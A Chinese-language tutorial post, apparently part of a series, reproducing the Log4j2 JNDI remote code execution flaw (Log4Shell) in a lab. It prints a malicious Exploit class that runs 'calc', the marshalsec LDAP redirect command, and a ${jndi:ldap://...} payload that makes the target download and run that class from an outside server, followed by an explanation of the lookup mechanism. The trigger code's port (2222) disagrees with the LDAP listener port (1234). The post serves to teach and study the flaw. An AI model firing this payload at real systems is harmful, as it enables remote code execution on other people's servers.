欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

Log4j2 反序列化漏洞原理和恢复-2 恢复过程

最编程 2024-03-13 20:36:42
...

2.1 环境搭建

靶机:127.0.0.1

LDAP服务器:192.168.101.133

HTTP服务器:192.168.101.128

Java

JDK1.8u121以下的版本,Maven(需要安装和配置),log4j项目包

服务器

HTTP服务器(存放恶意类Exploit.class),使用phpstudy建立一个网站,端口为2222

LDAP服务器,下载marshalsec-0.0.3-SNAPSHOT-all.jar

Exploit.class

/*
 * Exploit.java
 * 将其编译后生成Exploit.class
 * 上传到HTTP服务器
 */
import java.io.IOException;

public class Exploit {
    static {
        try {
            // 打开windows电脑的计算器 proof of content
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

2.2 测试

LDAP服务器中,执行如下代码

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.101.128:2222/#Exploit 1234

其中Exploit是恶意类的类名,1234是监听的端口号,该工具可以启动JNDI或RMI接口。

当命令行显示Listening on 0.0.0.0:1234时表示服务开启成功。

Log4J.java

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4J {
    private static final Logger logger = LogManager.getLogger(Log4J.class);

    public static void main(String[] args) {
  logger.error("${jndi:ldap://192.168.101.133:2222/test}");
    }
}

其中主要是靠如下语句:

${jndi:ldap://192.168.101.133:1234/test}

执行成功后,可以弹出计算器,LDAP服务器的命令行窗口会显示Send LDAP reference result for test redirecting to http://192.168.101.128:2222/Exploit.class
!!!
凡是Java应用程序,在获取用户输入时使用了Log4j组件且未作有效验证或限制的,都可能有该漏洞,在输入位置传入如上语句即可。

2.3 过程分析

Log4J Lookups介绍:https://logging.apache.org/log4j/2.x/manual/lookups

被攻击服务器收到恶意参数(语句)后,通过Log4J将其作为日志打印。

由于日志在打印时当遇到${后,Interpolator类以:号作为分割,将表达式内容分割成两部分,前面部分作为 prefix,后面部分作为 key。然后通过prefix去找对应的 lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行。

而在LDAP服务器上找不到,于是跳转到指定地址下载恶意类到本地,再调用Java的NamingManager.getObjectFactoryFromReference()方法,通过默认构造函数将其实例化,进而导致攻击代码中的静态代码块中的内容被执行,引发命令执行漏洞。